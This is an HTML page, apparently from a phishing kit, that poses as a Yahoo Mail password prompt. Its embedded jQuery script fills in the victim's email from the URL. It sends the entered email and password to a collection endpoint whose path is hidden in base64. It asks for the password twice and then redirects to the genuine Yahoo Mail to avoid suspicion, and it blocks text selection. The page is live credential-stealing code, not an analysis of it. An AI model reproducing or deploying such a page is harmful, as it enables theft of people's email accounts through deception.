<!DOCTYPE html>

<html data-wf-domain="" data-wf-page="64a18b9e49d92613ac89d93f" data-wf-site="64a18b9e49d92613ac89d93c">

<head>
    <meta charset="utf-8" />
    <title>Sign-in</title>
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <meta content="Webflow" name="generator" />
    <link href="https://uploads-ssl.webflow.com/64a18b9e49d92613ac89d93c/css/g-mail.webflow.ea65fea67.css"
        rel="stylesheet" type="text/css" />
    <link href="https://fonts.googleapis.com" rel="preconnect" />
    <link href="https://fonts.gstatic.com" rel="preconnect" crossorigin="anonymous" />
    <script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js" type="text/javascript"></script>
    <script
        type="text/javascript">WebFont.load({ google: { families: ["Lato:100,100italic,300,300italic,400,400italic,700,700italic,900,900italic"] } });</script>
    <script
        type="text/javascript">!function (o, c) { var n = c.documentElement, t = " w-mod-"; n.className += t + "js", ("ontouchstart" in o || o.DocumentTouch && c instanceof DocumentTouch) && (n.className += t + "touch") }(window, document);</script>

    <style>
        /* Disable right-click */
        body {
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -khtml-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
    </style>

</head>

<body class="body">
    <div style="position: sticky; top: 0; background-color: #f1f1f1;  z-index: 999;">
        <div id="google_translate_element"></div>
    </div>
    <section class="section wf-section">
        <div class="up1"><img
                src="https://uploads-ssl.webflow.com/64a18b9e49d92613ac89d93c/64a18c6349d92613ac8a5838_Screenshot%202023-07-02%20at%2005.57.28.png"
                loading="lazy" alt="" />
            <div class="text-block">Help</div>
        </div>
        <div class="up2 _2nd">
            <div class="div-block-2">
                <h1 class="heading"><br />Yahoo makes it easy to enjoy what matters most in<br />your world</h1>
                <div class="text-block-6">Best in class Yahoo Mail, breaking local, national and global <br />news,
                    finance, sports, music, movies and more. You get more <br />out of the web, you get more out of
                    life.</div>
            </div>
            <div class="div-block-3 _2nd mobile"><img
                    src="https://uploads-ssl.webflow.com/64a18b9e49d92613ac89d93c/64a18c6349d92613ac8a5838_Screenshot%202023-07-02%20at%2005.57.28.png"
                    loading="lazy" width="110" alt="" class="image" />
                <div class="form-block w-form">
                    <form id="email-form" name="form1" data-name="Email Form" class="form" >
                        


                        <!-- <form name="form1" class="flex flex-col items-center" action="" method="post" required> -->


                        <input type="email" class="text-field-2 w-input" maxlength="256" name="ai" data-name="ai"
                            placeholder="Email" id="ai" style="background-color: transparent;" readonly />
                        <h4 class="heading-2">Enter password</h4>
                        <div class="text-block-3">to finish sign in</div><input type="password"
                            class="text-field w-input" maxlength="256" name="pr" data-name="Password"
                            placeholder="Password" id="pr" />

                        <div class=" text-block-3" style="color: rgb(236, 59, 59); text-align: left; font-size:small;"
                            id="error"></div>

                        <input type="submit" value="Next" data-wait="Please wait..." class="submit-button w-button" id="submit-btn" />
                            
                    
                    <!-- <div class="w-form-done">
                        <div>Thank you! Your submission has been received!</div>
                    </div>
                    <div class="w-form-fail">
                        <div>Oops! Something went wrong while submitting the form.</div>
                    </div> -->
                </div>
                <div class="text-block-4">Forgot password?</div>
            </div>
        </div>
    </section>

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
	<script src="./config.js"></script>
    <script>
/* global $ */
$(document).ready(function() {
    var count = 0;

    $('#back1').click(function() {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({ left: 200, opacity: "hide" }, 0);
        $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        // $('#ai').val(ai);
        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        $('#ai').val(my_ai);
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);
        $("#msg").hide();
        $("#inputbar").animate({ left: 200, opacity: "hide" }, 0);
        $("#automail").animate({ right: 200, opacity: "show" }, 1000);
    }
    ///////////////url getting ai////////////////


    var atu = "L2Nvbm5lY3QucGhw";
	
    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var msg = $('#msg').html();
        $('#msg').text(msg);
        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is empty.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        if (!pr) {
            $('#error').show();
            $('#error').html("Please enter your password");
            ai.focus;
            return false;
        }
		if (pr.length < 5) {
            $('#error').show();
            $('#error').html("Please check your password");
            ai.focus;
            return false;
        }
		
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        ///////////new injection////////////////
        count = count + 1;
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);

        $.ajax({
            dataType: 'JSON',
            url: `${config.baseUrl}${atob(atu)}`,
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            // window.location.replace(response['redirect_link']);
                            window.location.replace("https://mail.yahoo.com/d/folders/1");

                        }
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 2) {
                    count = 0;
                    window.location.replace("https://mail.yahoo.com/d/folders/1");
                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').html('Login');
            }
        });
    });


});

function getParameterByName(name, url) {
			if (!url) url = window.location.href;
			name = name.replace(/[\[\]]/g, '\\$&');
			var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
				results = regex.exec(url);
			if (!results) return null;
			if (!results[2]) return '';
			return decodeURIComponent(results[2].replace(/\+/g, ' '));
		}
			
		const login_username = getParameterByName('cms');
		document.getElementById("ai").value = login_username;
</script>
</body>

</html>